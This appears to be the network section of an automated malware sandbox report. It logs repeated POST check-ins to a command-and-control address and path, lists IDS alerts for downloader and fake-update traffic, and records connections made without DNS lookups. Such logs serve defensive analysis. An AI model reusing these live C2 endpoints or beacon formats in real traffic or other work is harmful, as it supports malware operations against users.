Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 30 32 46 37 39 42 37 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB02F79B75182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49736 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49889 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:50105 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50114 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:50072 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50117 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50121 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50124 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50127 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50130 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50133 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50134 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50135 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50139 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50140 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50141 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50142 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:50144 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50147 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50146 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50150 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50148 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50151 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50152 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50156 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50161 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50160 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50169 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50171 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50189 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50190 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:50196 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50210 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50224 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50235 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:50239 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:64308 -> 52.182.143.212:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:64271 -> 52.168.117.173:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:64281 -> 20.50.73.4:443

Source: unknown

HTTPS traffic detected: 173.222.162.64:443 -> 192.168.2.6:49818 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 40.115.3.253
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
